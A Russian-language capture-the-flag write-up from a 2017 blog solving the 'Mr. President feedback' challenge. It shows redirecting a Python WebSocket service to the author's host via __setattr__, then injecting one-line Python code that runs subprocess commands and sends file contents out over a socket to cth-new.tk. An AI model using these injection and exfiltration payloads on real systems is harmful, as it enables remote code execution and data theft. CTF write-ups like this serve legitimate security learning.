понедельник, 17 июля 2017 г.

Mr. President feedback write-up

Всем, привет.

Сайт выглядит так:


при нажатии на Submit мы улетаем на страницу /dev/null. Однако, при нажатиях Generate и Validate передаются WebSocket сообщения
{"method":"generate"}
и
{"method":"check","args":["b4a8cbfcb3ab417ad56c1e5a790fa79b","22"]}

Ответ на generate выглядит вот так:
{"result": {"text": " ____   ___            _  _   \n|___ \\ / _ \\          | || |  \n  __) | (_) |  _____  | || |_ \n / __/ \\__, | |_____| |__   _|\n|_____|  /_/             |_|  \n                              \n\n", "hash": "b4a8cbfcb3ab417ad56c1e5a790fa79b"}, "method": "generate", "status": "ok"} - это представление "капчи", которую надо разгадать. Если капчу разгадать правильно, то при нажатии на Validate выводится сообщение "Valid", в противном случае "Wrong".

Если поиграться с method, и передать какую то фигню, то выдается:
{"status": "error", "info": "'NoneType' object is not callable"}

Ага, значит там питон. Попробуем __dir__:

{"result": ["_server", "_port", "_table", "_sock", "__module__", "_last", "__init__", "reconnect", "operations", "generate", "check", "help", "__dict__", "__weakref__", "__doc__", "__repr__", "__hash__", "__str__", "__getattribute__", "__setattr__", "__delattr__", "__lt__", "__le__", "__eq__", "__ne__", "__gt__", "__ge__", "__new__", "__reduce_ex__", "__reduce__", "__subclasshook__", "__init_subclass__", "__format__", "__sizeof__", "__dir__", "__class__"], "method": "__dir__", "status": "ok"}

О, вот это уже интересно. Сразу видим, что есть _server и _port, а также метод reconnect. Видимо эта шарманка куда то коннектится. Также обращаем внимание на метод __setattr__. Пробуем подменить порт и сервер:

{"method":"__setattr__","args":["_server","cth-new.tk"]}
{"method":"__setattr__","args":["_port","8080"]}
И сделать реконнект:
{"method":"reconnect"}


Отлично, прилетел какой то коннект

Делаем теперь запрос на generate в браузере

Сначала прилетает запрос supported_operations. Если ввести через пробел несколько значений, то шарманка выбирает одно из них случайно и просит сделать translate для указанной строки (в данном случае 141 e 45). aaaaa - это мой ввод. После этого мы видим в браузере:



Возможно ту строчку, которую шарманка нам присылает второй раз, она исполняет. Проверим:



введем +1+, если она действительно исполняет, то правильный ответ будет 111.

Да, так и есть:

Видимо, мы можем исполнять произвольный Python-код. Ограничения такие - код надо записать в одну строчку и непонятно какие модули загружены.
Довольно быстро я понял что загружен модуль socket, который позволял коннектится на мой сервер.
С помощью метода create_connection можно установить соединение, при этом он вернет сокет. Это позволяет легко в одну строчку отправлять данные.

Указываем в качестве supported_operations:
+socket.create_connection(("cth-new.tk",4449)).sendall(bytes('fefefe'+'\n','utf-8'))+

и вуаля, отстук прилетел.

Теперь для исполнения команд в Python 3 можно вот так загрузить модуль subprocess:
__builtins__['__import__']('subprocess').check_output

В итоге флаг оказался в одном из файлов исходного кода arifmetics.py:
+socket.create_connection(("cth-new.tk",4449)).sendall(bytes(str(__builtins__['__import__']('subprocess').check_output('cat'+chr(32)+'arifmetics.py',shell=True))+'\n','utf-8'))+